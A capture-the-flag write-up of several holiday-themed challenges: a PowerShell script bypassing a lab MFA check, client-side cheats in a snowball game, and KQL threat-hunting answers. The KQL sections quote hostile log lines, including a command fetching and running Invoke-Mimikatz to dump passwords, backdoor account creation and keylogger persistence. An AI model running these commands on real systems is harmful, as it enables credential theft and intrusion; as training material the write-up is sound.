They also mentioned this lazy elf who programmed the security settings in the weapons terminal. He created a fakeout protocol that he dubbed Elf Detection and Response "EDR". The whole system is literally that you set a threshold and after that many attempts, the response is passed through... I can't believe it. He supposedly implemented it wrong so the threshold cookie is highly likely shared between endpoints!
Following along with the hints, we can see each redacted cookie can be obtained with a simple sha256sum (with a new line):
echo 5f8dd236f862f4507835b0e418907ffc | sha256sum
4216b4faf4391ee4d3e0ec53a372b2f24876ed5d124fe08e227f84d687a7e06c -
Validating them all ....
# Obtain tokens
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
$tokenoverview = (Invoke-WebRequest -Uri 'http://127.0.0.1:1225/token_overview.csv' -Headers @{Authorization = $authHeader}).Content
# Loop tokens
$tokenoverview.Split("`n") | Select-Object -Skip 1 | ForEach-Object {
# Validate token
$token = $_.Split(",")[0].Trim()
if ($token.Length -ne 32) {
continue
}
# Compute SHA-256S
$stream = [IO.MemoryStream]::new([byte[]][char[]]($token + "`n"))
$hash = (Get-FileHash -Algorithm SHA256 -InputStream $stream).Hash
# Create a new session
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
# Obtain MFA token
$session.Cookies.Add((New-Object System.Net.Cookie("token", $token, "/", "127.0.0.1")))
$mfa = Invoke-WebRequest -Uri "http://127.0.0.1:1225/tokens/$hash" -Headers @{Authorization = $authHeader} -WebSession $session
# Validate MFA token
$session.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $mfa.Links[0].href, "/", "127.0.0.1")))
for ($i=0; $i -le 10; $i++) {
$result = (Invoke-WebRequest -Uri "http://127.0.0.1:1225/mfa_validate/$hash" -Headers @{Authorization = $authHeader} -WebSession $session).Content
if ($result -like "*Success*") {
$result
return
}
}
}
And we get the result and obtain the gold challenge award:
<h1>[+] Success, defense mechanisms deactivated.</h1><br>Administrator Token supplied, You are able to control the production and deployment of the snow cannons. May the best elves win: WombleysProductionLineShallPrevail</p>
Achievement
Congratulations! You have completed the [Gold] PowerShell challenge!
Snowball Showdown⚓︎
Wombley has recruited many elves to his side for the great snowball fight we are about to wage. Please help us defeat him by hitting him with more snowballs than he does to us.
After navigating North of the beginning of Act2 to Dusty Giftwrap, we find our next challenge of Snowball Showdown.
Snowball Showdown Challenge (Bronze)⚓︎
After clicking on the terminal, we get a new gamified challenge:
The objective to obtain Bronze/Silver is to hit Wombly with a snowball.
Heading into a random game, we won and hit Wombley 8 times, and obtained the bronze challenge award.
Achievement
Congratulations! You have completed the [Bronze] Snowball Showdown challenge!
Snowball Showdown Challenge (Silver)⚓︎
To obtain silver, we need to think outside the box. Lets inspect the source-code and see if we can gain an advantage!
We can set the singlePlayer
option via URL parameter or local storage cookie as shown in the main source-code:
var singlePlayer = "false";
function checkAndUpdateSinglePlayer() {
const localStorageValue = localStorage.getItem("singlePlayer");
if (localStorageValue === "true" || localStorageValue === "false") {
singlePlayer = String(localStorageValue === "true");
}
const urlParams = new URLSearchParams(window.location.search);
const urlValue = urlParams.get("singlePlayer");
if (urlValue === "true" || urlValue === "false") {
singlePlayer = String(urlValue === "true");
}
We can set breakpoints, reload the game, and then edit the JavaScript source code at phaser-snowball-game.js for a client-side manipulation advantage:
Line 25 - this.throwSpeed = 1000;
Line 26 - this.throwRateOfFire = 1000;
Line 679 - this.snowBallBlastRadius = 24;
Line 680 - this.onlyMoveHorizontally = true;
- set to false
Line 1216 - if ((this.percentageShotPower <= 0 || this.lastThrowTime + this.throwRateOfFire > this.time.now) && !archonly) {
Line 1233 - let speed = this.throwSpeed * this.percentageShotPower;
- set to 10000
Line 1292 - "blastRadius": this.snowBallBlastRadius,
- Set to 100
By altering the game code to set this.onlyMoveHorizontally = false;
, vertical movement is enabled in the game. Positioning the player on the ice block at the center of the screen makes it easy to defeat Wombley.
Depending on how big the blast radius is set, the game could crash.
We get Cheating Hacker Detected!!!
warnings depending on what we change.
Achievement
Congratulations! You have completed the [Silver] Snowball Showdown challenge!
Snowball Showdown Challenge (Gold)⚓︎
Inspecting the source code, we find reconnecting-websocket.min.js contains source code for a secret weapon called MOASB - AKA Mother of All Snow Balls at the end.
We can immediately launch the MOASB / end the game via a web socket message with the launch code:
Or we can update line 1287 to type: "moasb"
to launch MOASB's instead of normal snowballs:
let snowball = {
"type": "moasb",
"x": snowBallPosition.x,
"y": snowBallPosition.y,
"owner": this.player1.playerId,
"isWomb": this.player1.isWomb,
"blastRadius": 100,
"velocityX": velocityX,
"velocityY": velocityY
};
We obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] Snowball Showdown challenge!
Microsoft KC7⚓︎
Answer two sections for silver, all four sections for gold.
After navigating to the DMZ (mid map) using our fast travel on the map to Pepper Minstix and Wunorse Openslae, we find our next challenge of Microsoft KC7.
Clicking on the challenge redirects us to Microsoft KC7 educational environment. There are 4 sections we need to complete for the full completion.
Section 1: KQL 101⚓︎
Learn and practice basic KQL queries to analyze data logs for North Pole operations.
After a quick authentication, we are presented with the following screen:
Q1: Type let’s do this
to begin your KQL training.
Answer: let's do this
Q2: Once you've examined all the tables, type when in doubt take 10
to proceed.
Table Name | Description |
---|---|
AuthenticationEvents | Records successful and failed logins to devices on the company network. This includes logins to the company’s mail server. |
Records emails sent and received by employees. | |
Employees | Contains information about the company’s employees. |
FileCreationEvents | Records files stored on employee’s devices. |
InboundNetworkEvents | Records inbound network events including browsing activity from the Internet to devices within the company network. |
OutboundNetworkEvents | Records outbound network events including browsing activity from within the company network out to the Internet. |
PassiveDns (External) | Records IP-domain resolutions. |
ProcessEvents | Records processes created on employee’s devices. |
SecurityAlerts | Records security alerts from an employee’s device or the company’s email security system. |
AuthenticationEvents | take 10;
Email | take 10;
Employees | take 10;
FileCreationEvents | take 10;
InboundNetworkEvents | take 10;
OutboundNetworkEvents | take 10;
PassiveDns | take 10;
ProcessEvents | take 10;
SecurityAlerts | take 10;
Answer: when in doubt take 10
Q3: How many elves did you find?
Answer: 90
Q4: Can you find out the name of the Chief Toy Maker?
Answer: Shinny Upatree
AuthenticationEvents
| where result == "Successful Login" and src_ip == "59.171.58.12"
| distinct username
| count
Q5: Type operator
to continue.
==
: Checks if two values are exactly the same. Case-sensitive.
contains
: Checks if a string appears anywhere, even as part of a word. Not case-sensitive.
has
: Checks if a string is a whole word. Not case-sensitive.
has_any
: Checks if any of the specified words are present. Not case-sensitive.
in
: Checks if a value matches any item in a list. Case-sensitive.
Answer: operator
Q6: How many emails did Angel Candysalt receive?
let email = toscalar(
Employees
| where name == "Angel Candysalt"
| take 1
| project email_addr
);
Email
| where recipient == email
| count
Or with a single join query:
Employees
| project-rename recipient=email_addr
| join kind=leftouter Email on recipient
| where name == "Angel Candysalt"
| count
Answer: 31
Q7: How many distinct recipients were seen in the email logs from twinkle_frostington@santaworkshopgeeseislands.org
?
Email
| where sender has "twinkle_frostington@santaworkshopgeeseislands.org"
| distinct recipient
| count
Answer: 32
Q8: How many distinct websites did Twinkle Frostington visit?
let employeeIpAddress = toscalar(
Employees
| where name contains "Twinkle Frostington"
| project ip_addr
);
OutboundNetworkEvents
| where src_ip == employeeIpAddress
| distinct url
| count
Or with a single join query:
Employees
| project-rename src_ip=ip_addr
| join kind=leftouter OutboundNetworkEvents on src_ip
| where name=="Twinkle Frostington"
| distinct url
| count
Answer: 4
Q9: How many distinct domains in the PassiveDns records contain the word green?
Answer: 10
Q10: How many distinct URLs did elves with the first name Twinkle visit?
let twinkle_ips = Employees
| where name has "Twinkle"
| distinct ip_addr;
OutboundNetworkEvents
| where src_ip in (twinkle_ips)
| distinct url
| count;
Answer: 8
After submitting the answer 8
in the objectives tab, we obtain the challenge award.
Achievement
Congratulations! You have completed the KQL 101 challenge!
Section 2: Operation Surrender: Alabaster's Espionage⚓︎
Investigate a phishing attack targeting Wombley’s team, uncovering espionage activities.
Q1: Type surrender to get started!
Answer: surrender
Q2: Who was the sender of the phishing email that set this plan into motion?
Answer: surrender@northpolemail.com
Q3: How many elves from Team Wombley received the phishing email?
Answer: 22
Q4: What was the filename of the document that Team Alabaster distributed in their phishing email?
Answer: Team_Wombley_Surrender.doc
Q5: Who was the first person from Team Wombley to click the URL in the phishing email?
Employees
| join kind=inner (
OutboundNetworkEvents
) on $left.ip_addr == $right.src_ip // condition to match rows
| where url contains "Team_Wombley_Surrender.doc"
| project name, ip_addr, url, timestamp // project returns only the information you select
| sort by timestamp asc // sorts time ascending
| project name
| take 1
Answer: Joyelle Tinseltoe
Q6: What was the filename that was created after the .doc
was downloaded and executed?
ProcessEvents
| where timestamp between(datetime("2024-11-27T14:12:44Z") .. datetime("2024-11-27T20:12:44Z"))
| where hostname == "Elf-Lap-W-Tinseltoe"
| process_commandline, process_name
Employees
| join kind=leftouter ProcessEvents on hostname
| where name == "Joyelle Tinseltoe"
| where timestamp between(datetime("2024-11-27T14:00:00Z") .. datetime("2024-11-27T14:30:00"))
| distinct process_commandline, process_name
process_commandline | process_name |
---|---|
Explorer.exe "C:\Users\jotinseltoe\Downloads\Team_Wombley_Surrender.doc" |
Explorer.exe |
C:\Users\Public\AppData\Roaming\keylogger.exe |
keylogger.exe |
Explorer.exe "C:\Users\mitinseltoe\Downloads\Team_Wombley_Surrender.doc" |
Explorer.exe |
C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -Command "$enc = 'QzpcVXNlcnNcUHVibGljXEFwcERhdGFcUm9hbWluZ1xrZXlsb2dnZXIuZXhl';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($enc))" |
keylogger.exe |
schtasks /create /sc minute /mo 5 /tn "ElfKeyLoggerTask" /tr "C:\\Users\\Public\\AppData\\Roaming\\keylogger.exe" /ru SYSTEM |
cmd.exe |
Answer: keylogger.exe
Q7: To obtain your flag use the KQL below with your last answer!
Answer: a2V5bG9nZ2VyLmV4ZQ==
After submitting the answer a2V5bG9nZ2VyLmV4ZQ==
in the objectives tab, we obtain the challenge award.
Achievement
Congratulations! You have completed the Operation Surrender challenge!
Section 3: Operation Snowfall: Team Wombley's Ransomware Raid⚓︎
Track and analyze the impacts of a ransomware attack initiated by Wombley’s faction.
Q1: Type snowfall
to begin
Answer: snowfall
Q2: What was the IP address associated with the password spray?
AuthenticationEvents
| where result == "Failed Login"
| summarize FailedAttempts = count() by username, src_ip, result
| where FailedAttempts >= 5
| sort by FailedAttempts desc
| project src_ip
| take 1
Answer: 59.171.58.12
Q3: How many unique accounts were impacted where there was a successful login from 59.171.58.12?
AuthenticationEvents
| where result != "Failed Login" and src_ip == "59.171.58.12"
| distinct username
| count
Answer: 23
Q4: What service was used to access these accounts/devices?
AuthenticationEvents
| where result == "Successful Login"
| where src_ip == "59.171.58.12"
| project description
| take 1
Answer: RDP
Q5: What file was exfiltrated from Alabaster’s laptop?
Copy-Item "C:\\Malware\\EncryptEverything.exe" -Destination "C:\\Windows\\Users\\alsnowball"
copy C:\Windows\Users\alsnowball\top secret\Snowball_Cannon_Plans.pdf C:\Users\alsnowball\Documents\Snowball_Cannon_Plans.pdf
copy C:\Windows\Users\alsnowball\top secret\Drone_Configurations.pdf C:\Users\alsnowball\Documents\Drone_Configurations.pdf
copy C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip \\wocube\share\alsnowball\Secret_Files.zip
Answer: Secret_Files.zip
Q6: What is the name of the malicious file that was run on Alabaster's laptop?
The first item of the previous question.
Answer: EncryptEverything.exe
Q7: To obtain your flag use the KQL below with your last answer!
let flag = "EncryptEverything.exe";
let base64_encoded = base64_encode_tostring(flag);
print base64_encoded
Answer: RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl
After submitting the answer RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl
in the objectives tab, we obtain the challenge award.
Achievement
Congratulations! You have completed the Operation Snowfall challenge!
Section 4: Echoes in the Frost: Tracking the Unknown Threat⚓︎
Use logs to trace an unknown phishing attack targeting Alabaster’s faction.
Q1: Type stay frosty
to begin
Answer: stay frosty
Q2: What was the timestamp of first phishing email about the breached credentials received by Noel Boetie?
Employees
| where name contains "Noel Boetie"
| join kind=inner (Email | where subject contains "breach") on $left.email_addr == $right.recipient
| project timestamp
| take 1
Answer: 2024-12-12T14:48:55Z
Q3: When did Noel Boetie click the link to the first file?
let emailtimestamp = toscalar(
Email
| where recipient in (Employees | where name has "Noel" | project email_addr)
| where subject contains "breach"
| take 1
| project timestamp
);
OutboundNetworkEvents
| where timestamp between (datetime_add('hour', -1, emailtimestamp) .. datetime_add('hour', 5, emailtimestamp))
| where src_ip in (Employees | where name has "Noel" | project ip_addr)
| project timestamp
| take 1
Answer: 2024-12-12T15:13:55Z
Q4: What was the IP for the domain where the file was hosted?
let emailtimestamp = toscalar(
Email
| where recipient in (Employees | where name has "Noel" | project email_addr)
| where subject contains "breach"
| take 1
| project timestamp
);
let emaildomain = OutboundNetworkEvents
| where timestamp between (datetime_add('hour', -1, emailtimestamp) .. datetime_add('hour', 5, emailtimestamp))
| where src_ip in (Employees | where name has "Noel" | project ip_addr)
| extend Domain = extract(@"https?://([^/]+)", 1, url)
| distinct Domain;
PassiveDns
| where domain in (emaildomain)
| distinct ip;
Answer: 182.56.23.122
Q5: Let’s take a closer look at the authentication events. I wonder if any connection events from 182.56.23.122. If so what hostname was accessed?
let emailtimestamp = toscalar(
Email
| where recipient in (Employees | where name has "Noel" | project email_addr)
| where subject contains "breach"
| take 1
| project timestamp
);
let emaildomain = OutboundNetworkEvents
| where timestamp between (datetime_add('hour', -1, emailtimestamp) .. datetime_add('hour', 5, emailtimestamp))
| where src_ip in (Employees | where name has "Noel" | project ip_addr)
| extend Domain = extract(@"https?://([^/]+)", 1, url)
| distinct Domain;
let emailip = PassiveDns
| where domain in (emaildomain)
| distinct ip;
AuthenticationEvents
| where src_ip in (emailip)
| distinct hostname
Answer: WebApp-ElvesWorkshop
Q6: What was the script that was run to obtain credentials?
powershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::logonpasswords"
net user frosty AllYourBaseBelongToUs /add
tasklist | findstr /I "avp.exe"
tasklist | findstr /I "norton.exe"
tasklist | findstr /I "mcshield.exe"
ipconfig /all
net localgroup administrators frosty /add
net view /domain
Answer: Invoke-Mimikatz.ps1
Q7: What is the timestamp where Noel executed the file?
Answer: 2024-12-12T15:14:38Z
Q8: What domain was the holidaycandy.hta
file downloaded from?
OutboundNetworkEvents
| where url contains "holidaycandy.hta"
| project url
| extend Domain = extract(@"https?://([^/]+)", 1, url)
| distinct Domain
| project Domain
Answer: compromisedchristmastoys.com
Q9: What was the first file that was created after extraction?
let dropper = toscalar(
ProcessEvents
| where process_commandline has "frosty.zip"
| distinct process_commandline, timestamp
| project timestamp
);
let extraction = toscalar(
ProcessEvents
| where timestamp > dropper
| project timestamp
);
FileCreationEvents
| where timestamp > extraction
| distinct filename
| take 1
Answer: sqlwriter.exe
Q10: What is the name of the property assigned to the new registry key?
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MS SQL Writer" -Force | New-ItemProperty -Name "frosty" -Value "C:\Windows\Tasks\sqlwriter.exe" -PropertyType String -Force
Answer: frosty
Q11: To obtain your FINAL flag use the KQL below with your last answer!
let finalflag = "frosty";
let base64_encoded = base64_encode_tostring(finalflag);
print base64_encoded
Answer: ZnJvc3R5
After submitting the answer, I obtained a badge!
After submitting the answer ZnJvc3R5
in the objectives tab, we obtain the challenge award.
Achievement
Congratulations! You have completed the Echos in the Frost challenge!